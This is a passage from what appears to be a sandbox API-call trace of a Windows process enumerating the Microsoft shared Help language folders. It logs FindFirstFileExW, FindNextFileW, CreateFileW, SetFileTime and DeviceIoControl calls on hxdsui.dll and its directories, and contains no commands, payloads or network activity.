lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.991] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.991] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c48f00, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57c48f00, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0086.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.992] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c48f00, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57c48f00, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0086.992] GetLastError () returned 0x12 [0086.992] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0086.992] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.992] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.992] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c48f00, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57c48f00, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0086.992] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c48f00, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57c48f00, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0086.992] GetLastError () returned 0x12 [0086.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0086.993] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0086.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0086.993] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0086.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.993] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1040"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.994] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1040"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0086.994] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0086.994] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0086.994] NtClose (Handle=0x16c) returned 0x0 [0086.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0086.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0086.996] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0086.996] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.996] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b581600, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b581600, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0086.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.997] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b581600, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b581600, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0086.997] GetLastError () returned 0x12 [0086.998] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.998] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0086.998] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.998] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b581600, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b581600, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0086.998] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b581600, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b581600, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0086.998] GetLastError () returned 0x12 [0086.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0086.998] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0086.999] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0086.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1041"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.001] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1041"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.002] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.002] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.002] NtClose (Handle=0x180) returned 0x0 [0087.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.004] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.004] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.004] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c04500, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb4c04500, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0087.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.005] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c04500, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb4c04500, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0087.005] GetLastError () returned 0x12 [0087.005] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.005] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c04500, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb4c04500, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0087.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c04500, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb4c04500, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0087.006] GetLastError () returned 0x12 [0087.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.006] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0087.006] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0087.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.007] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1042"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1042"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.007] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.007] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.008] NtClose (Handle=0x16c) returned 0x0 [0087.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.009] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.009] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.009] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b1dc00, ftCreationTime.dwHighDateTime=0x1c9db18, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b1dc00, ftLastWriteTime.dwHighDateTime=0x1c9db18, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0087.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.011] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b1dc00, ftCreationTime.dwHighDateTime=0x1c9db18, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b1dc00, ftLastWriteTime.dwHighDateTime=0x1c9db18, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0087.011] GetLastError () returned 0x12 [0087.011] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.011] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.011] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.011] 